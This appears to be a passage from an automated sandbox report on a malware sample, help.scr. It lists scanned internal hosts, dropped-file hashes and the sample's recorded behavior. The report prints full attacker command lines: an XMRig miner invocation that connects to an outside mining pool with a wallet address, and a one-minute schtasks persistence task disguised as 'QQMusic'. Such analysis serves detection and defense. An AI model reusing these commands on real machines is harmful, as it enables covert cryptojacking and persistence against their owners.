N/A 10.127.1.156:19490 tcp
N/A 10.127.1.157:19490 tcp
N/A 10.127.1.158:19490 tcp
N/A 10.127.1.159:19490 tcp
N/A 10.127.1.160:19490 tcp
N/A 10.127.1.161:19490 tcp
N/A 10.127.1.162:19490 tcp
N/A 10.127.1.163:19490 tcp
N/A 10.127.1.164:19490 tcp
N/A 10.127.1.165:19490 tcp
N/A 10.127.1.166:19490 tcp
N/A 10.127.1.167:19490 tcp
N/A 10.127.1.168:19490 tcp
N/A 10.127.1.169:19490 tcp
N/A 10.127.1.170:19490 tcp
N/A 10.127.1.171:19490 tcp
N/A 10.127.1.172:19490 tcp
N/A 10.127.1.173:19490 tcp
N/A 10.127.1.174:19490 tcp
N/A 10.127.1.175:19490 tcp
N/A 10.127.1.176:19490 tcp
N/A 10.127.1.177:19490 tcp
N/A 10.127.1.178:19490 tcp
N/A 10.127.1.179:19490 tcp
N/A 10.127.1.180:19490 tcp
N/A 10.127.1.181:19490 tcp
N/A 10.127.1.182:19490 tcp
N/A 10.127.1.183:19490 tcp
N/A 10.127.1.184:19490 tcp
N/A 10.127.1.185:19490 tcp
N/A 10.127.1.186:19490 tcp
N/A 10.127.1.187:19490 tcp
N/A 10.127.1.188:19490 tcp
N/A 10.127.1.189:19490 tcp
N/A 10.127.1.190:19490 tcp
N/A 10.127.1.191:19490 tcp
N/A 10.127.1.192:19490 tcp
N/A 10.127.1.193:19490 tcp
N/A 10.127.1.194:19490 tcp
N/A 10.127.1.195:19490 tcp
N/A 10.127.1.196:19490 tcp
N/A 10.127.1.197:19490 tcp
N/A 10.127.1.198:19490 tcp
N/A 10.127.1.199:19490 tcp
N/A 10.127.1.200:19490 tcp
N/A 10.127.1.201:19490 tcp
N/A 10.127.1.202:19490 tcp
N/A 10.127.1.203:19490 tcp
N/A 10.127.1.204:19490 tcp
N/A 10.127.1.205:19490 tcp
N/A 10.127.1.206:19490 tcp
N/A 10.127.1.207:19490 tcp
N/A 10.127.1.208:19490 tcp
N/A 10.127.1.209:19490 tcp
N/A 10.127.1.210:19490 tcp
N/A 10.127.1.211:19490 tcp
N/A 10.127.1.212:19490 tcp
N/A 10.127.1.213:19490 tcp
N/A 10.127.1.214:19490 tcp
N/A 10.127.1.215:19490 tcp
N/A 10.127.1.216:19490 tcp
N/A 10.127.1.217:19490 tcp
N/A 10.127.1.219:19490 tcp
N/A 10.127.1.218:19490 tcp
N/A 10.127.1.221:19490 tcp
N/A 10.127.1.223:19490 tcp
N/A 10.127.1.220:19490 tcp
N/A 10.127.1.222:19490 tcp
N/A 10.127.1.224:19490 tcp
N/A 10.127.1.225:19490 tcp
N/A 10.127.1.226:19490 tcp
N/A 10.127.1.227:19490 tcp
N/A 10.127.1.228:19490 tcp
N/A 10.127.1.229:19490 tcp
N/A 10.127.1.231:19490 tcp
N/A 10.127.1.230:19490 tcp
N/A 10.127.1.232:19490 tcp
N/A 10.127.1.233:19490 tcp
N/A 10.127.1.234:19490 tcp
N/A 10.127.1.235:19490 tcp
N/A 10.127.1.236:19490 tcp
N/A 10.127.1.237:19490 tcp
N/A 10.127.1.238:19490 tcp
N/A 10.127.1.239:19490 tcp
N/A 10.127.1.240:19490 tcp
N/A 10.127.1.241:19490 tcp
N/A 10.127.1.242:19490 tcp
N/A 10.127.1.243:19490 tcp
N/A 10.127.1.244:19490 tcp
N/A 10.127.1.245:19490 tcp
N/A 10.127.1.246:19490 tcp
N/A 10.127.1.247:19490 tcp
N/A 10.127.1.248:19490 tcp
N/A 10.127.1.249:19490 tcp
N/A 10.127.1.250:19490 tcp
N/A 10.127.1.251:19490 tcp
N/A 10.127.1.252:19490 tcp
N/A 10.127.1.253:19490 tcp
N/A 10.127.1.254:19490 tcp

Files

\ProgramData\spreadTpqrst.exe

MD5 23d84a7ed2e8e76d0a13197b74913654
SHA1 23d04ba674bafbad225243dc81ce7eccd744a35a
SHA256 ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301
SHA512 aa6b0100d477214d550b6498787190fc1a8fafa7c478f9595d45e4e76ece9888b84dcca26696500d5710a9d1acae4810f2606d8962c46d31f2bdfcdd27bd675c

memory/1872-10-0x0000000000100000-0x0000000000114000-memory.dmp

memory/1948-9-0x0000000004390000-0x00000000049D4000-memory.dmp

memory/1872-11-0x000000013F9C0000-0x0000000140004000-memory.dmp

\ProgramData\SMB.exe

MD5 7b2f170698522cd844e0423252ad36c1
SHA1 303ac0aaf0e9f48d4943e57d1ee6c757f2dd48c5
SHA256 5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994
SHA512 7155477e6988a16f6d12a0800ab72b9b9b64b97a509324ac0669cec2a4b82cd81b3481ae2c2d1ce65e73b017cebb56628d949d6195aac8f6ddd9625a80789dfa

C:\ProgramData\X86.dll

MD5 0e980a877a42b3eaa6dfd5f5e5567686
SHA1 3fd0cba11c2cea22ee99d4f76b130892014daed1
SHA256 98fa5a07ad844ba5e6a410ff422ce35fac3e791d16f1603643316f061eee5055
SHA512 33388be213b5c4dd1cd053e290dbf555b2584bc93e8858092b14e17d2b92f7005c2cd785a0a010e0a5b4f31b60ed1e53afae902b4d2817c68c007eed53916d91

C:\ProgramData\X64.dll

MD5 22b246309e8b68cdb0ff189a9ce5fc21
SHA1 5abbfe241b42006aff18fdda35e9c89962fe40b3
SHA256 5067e218ed8134223d5544bf9fd2a244421b25aa8e7eae20cef325f2ea25e40c
SHA512 bf3ba4378fcd91e34f7e1611eaa7405bf9aa97c28706888ab51bec70142862a2e888051208554cb23959e9e23d7a8733b522413b0d3d3d07224886320aeab57c

memory/1872-139-0x000000013F9C0000-0x0000000140004000-memory.dmp

memory/1948-140-0x0000000004390000-0x00000000049D4000-memory.dmp

memory/1872-141-0x000000013F9C0000-0x0000000140004000-memory.dmp

memory/1872-142-0x000000013F9C0000-0x0000000140004000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\help.scr

MD5 2d927fdb462570728a981443bf36d19f
SHA1 eb4f351d937729b14a196bf228ba12a2ff07e73e
SHA256 d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239
SHA512 efdf3b568fa07d67bb89eb8880c5140653321f9267c771045d1c7be6a6e88fd680059b779d2e4da497e0a88ff1e9adac6e293bb254e5c4dda776aafd518097c9

memory/1872-144-0x000000013F9C0000-0x0000000140004000-memory.dmp

memory/1872-145-0x000000013F9C0000-0x0000000140004000-memory.dmp

memory/1872-146-0x000000013F9C0000-0x0000000140004000-memory.dmp

memory/1872-147-0x000000013F9C0000-0x0000000140004000-memory.dmp

memory/1872-148-0x000000013F9C0000-0x0000000140004000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-14 17:41

Reported

2024-06-14 17:43

Platform

win10v2004-20240508-en

Max time kernel

150s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\help.scr" /S

Signatures

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QQMusic = "C:\\Users\\Admin\\AppData\\Local\\Temp\\help.scr" C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\QQMusic = "C:\\Users\\Admin\\AppData\\Local\\Temp\\help.scr" C:\Users\Admin\AppData\Local\Temp\help.scr N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\help.scr N/A

Checks for VirtualBox DLLs, possible anti-VM trick

Description Indicator Process Target
File opened (read-only) \??\VBoxMiniRdrDN C:\Users\Admin\AppData\Local\Temp\help.scr N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Users\Admin\AppData\Local\Temp\help.scr N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\help.scr N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\spreadTpqrst.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3756 wrote to memory of 4904 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 3756 wrote to memory of 4904 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 3756 wrote to memory of 4904 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 3756 wrote to memory of 1492 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 3756 wrote to memory of 1492 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 3756 wrote to memory of 1492 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 4904 wrote to memory of 536 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 4904 wrote to memory of 536 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 4904 wrote to memory of 536 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 1492 wrote to memory of 2160 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 1492 wrote to memory of 2160 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 1492 wrote to memory of 2160 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 3756 wrote to memory of 4968 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 3756 wrote to memory of 4968 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 3756 wrote to memory of 4968 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 4968 wrote to memory of 4180 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 4968 wrote to memory of 4180 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 4968 wrote to memory of 4180 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 3756 wrote to memory of 4452 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\spreadTpqrst.exe
PID 3756 wrote to memory of 4452 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\spreadTpqrst.exe
PID 3756 wrote to memory of 3948 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\SMB.exe
PID 3756 wrote to memory of 3948 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\SMB.exe
PID 3756 wrote to memory of 3948 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\SMB.exe
PID 3756 wrote to memory of 2772 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 3756 wrote to memory of 2772 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 3756 wrote to memory of 2772 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 3756 wrote to memory of 2688 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\spreadTpqrst.exe
PID 3756 wrote to memory of 2688 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\spreadTpqrst.exe
PID 2772 wrote to memory of 1468 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2772 wrote to memory of 1468 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2772 wrote to memory of 1468 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 3756 wrote to memory of 4304 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\spreadTpqrst.exe
PID 3756 wrote to memory of 4304 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\spreadTpqrst.exe
PID 3756 wrote to memory of 1004 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 3756 wrote to memory of 1004 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 3756 wrote to memory of 1004 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 1004 wrote to memory of 4628 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 1004 wrote to memory of 4628 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 1004 wrote to memory of 4628 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 3756 wrote to memory of 1324 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 3756 wrote to memory of 1324 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 3756 wrote to memory of 1324 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 3756 wrote to memory of 2892 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\spreadTpqrst.exe
PID 3756 wrote to memory of 2892 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\spreadTpqrst.exe
PID 1324 wrote to memory of 1856 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 1324 wrote to memory of 1856 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 1324 wrote to memory of 1856 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 3756 wrote to memory of 4552 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\spreadTpqrst.exe
PID 3756 wrote to memory of 4552 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\spreadTpqrst.exe
PID 3756 wrote to memory of 5792 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 3756 wrote to memory of 5792 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 3756 wrote to memory of 5792 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 5792 wrote to memory of 5844 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 5792 wrote to memory of 5844 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 5792 wrote to memory of 5844 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 3756 wrote to memory of 5872 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 3756 wrote to memory of 5872 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 3756 wrote to memory of 5872 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\Windows\SysWOW64\cmd.exe
PID 3756 wrote to memory of 5908 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\spreadTpqrst.exe
PID 3756 wrote to memory of 5908 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\spreadTpqrst.exe
PID 5872 wrote to memory of 5972 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 5872 wrote to memory of 5972 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 5872 wrote to memory of 5972 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 3756 wrote to memory of 6068 N/A C:\Users\Admin\AppData\Local\Temp\help.scr C:\ProgramData\spreadTpqrst.exe

Processes

C:\Users\Admin\AppData\Local\Temp\help.scr

"C:\Users\Admin\AppData\Local\Temp\help.scr" /S

C:\Windows\SysWOW64\cmd.exe

cmd /c schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\help.scr /F

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im spreadTpqrst.exe&&exit

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\help.scr /F

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im spreadTpqrst.exe

C:\Windows\SysWOW64\cmd.exe

cmd /c ipconfig /flushdns

C:\Windows\SysWOW64\ipconfig.exe

ipconfig /flushdns

C:\ProgramData\spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\ProgramData\SMB.exe

C:\ProgramData\SMB.exe

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im spreadTpqrst.exe&&exit

C:\ProgramData\spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe

C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\cmd.exe

cmd /c ipconfig /flushdns

C:\Windows\SysWOW64\ipconfig.exe

ipconfig /flushdns

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im spreadTpqrst.exe&&exit

C:\ProgramData\spreadTpqrst.exe

